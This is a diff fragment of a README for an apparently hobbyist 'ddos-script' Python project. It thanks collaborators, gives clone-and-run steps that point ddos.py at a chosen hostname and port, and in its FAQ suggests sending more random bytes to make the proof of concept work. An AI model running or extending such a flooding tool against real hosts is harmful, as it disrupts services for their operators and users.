+- [Craig Lang](https://www.linkedin.com/in/craiglang42/): for his valuable pairing sessions
+- [Tae'Lur Alexis's Port Scanner](https://github.com/cyberbarbie/cute-little-port-scanner): looking at the code helped me quit spinning my wheels with over-engineering
+
+
+## Usage/Examples
+
+To use:
+
+Clone the repo:
+
+```sh
+$ git clone https://github.com/twhite96/ddos-script.git
+```
+
+then cd into the `src` directory...
+
+```sh
+$ cd src
+```
+
+```sh
+$ python3 ddos.py <hostname> <port>
+```
+
+
+## FAQ
+
+#### Well it didn't work!
+
+I know. You'd need to feed more bytes into the `randbytes(4000)` method, as I am only sending 4kb. This is a v1 of a proof of concept.
+
+#### Where the hell are the tests??
+
+Soon, young Padawan.
